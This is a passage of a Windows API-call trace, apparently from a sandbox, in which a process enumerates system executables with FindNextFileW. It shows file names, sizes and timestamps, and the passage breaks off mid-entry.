[0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad0ed19, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad0ed19, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad34e79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caa4fdc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4caa4fdc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb366ee0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="nbtstat.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb6c1f9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb6c1f9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb3d9ad0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ndadmin.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251bcb61, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x251bcb61, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4255c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="net.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e64beab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e64beab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e64beab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="net1.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed02ac7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4ed02ac7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4710b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="netbtugc.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f5f716, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7f5f716, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb4981b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="netcfg.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61099acf, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x61099acf, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4bf2b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="netiougc.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663b97cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x663b97cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4e3ca0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Netplwiz.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6aa0544, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6aa0544, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb50ada0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="NetProj.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72634ab1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x72634ab1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="netsh.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851fa5b4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x851fa5b4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="NETSTAT.EXE", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb57d990, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="newdev.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db9fbcf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9db9fbcf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dcf6831, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="nltest.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3637c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f3637c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f3637c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="nslookup.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994105eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x1b54e595, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x99756431, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54e580, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ntoskrnl.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b6879f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x92b6879f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xebcede50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ntprint.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef12fdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ef12fdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ef3913b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2d800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ocsetup.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3168728, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x3168728, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfc08d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="odbcad32.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6449966, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6449966, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfe79d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="odbcconf.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39a4b4b4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x39a4b4b4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec0334c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="openfiles.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e3c16f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82e3c16f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xec057eb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="OptionalFeatures.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54c6203, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc54c6203, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xec1fbd70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="osk.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8323c00, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa8323c00, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec32d040, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2b000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="p2phost.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85860053, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x85860053, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec351a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PATHPING.EXE", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd61d53, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x2cd61d53, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec378b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="pcalua.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29aa6c72, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x29aa6c72, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec39fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="pcaui.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31cd3551, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x31cd3551, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec3c4620, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="pcawrk.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1234dce3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1234dce3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdff17430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="pcwrun.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958b40de, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x958b40de, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x95a7d161, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="perfmon.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dcc4a3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x86dcc4a3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec51c9f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PING.EXE", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834cf504, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x834cf504, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834cf504, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PkgMgr.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dfad5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xa1dfad5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec6997b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="plasrv.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936562fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936562fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PnPUnattend.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8548a6ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8548a6ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec6e52a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PnPutil.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881b634b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x881b634b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec709c90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="poqexec.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84adee62, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x84adee62, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec730d90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="powercfg.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0af919e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4e360, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PresentationHost.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12d1a55, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12d1a55, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12d1a55, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PresentationSettings.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e8c314, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e8c314, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e8c314, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="prevhost.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358d5cdc, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x358d5cdc, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec7ef470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="print.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbece084d, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbece084d, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xec8f9640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PrintBrmUi.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc735d8b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xc735d8b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb6c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="printfilterpipelinesvc.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82819f6c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x82819f6c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PrintIsolationHost.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96daa1e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa96daa1e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecb5bbe0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="printui.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937149e0, 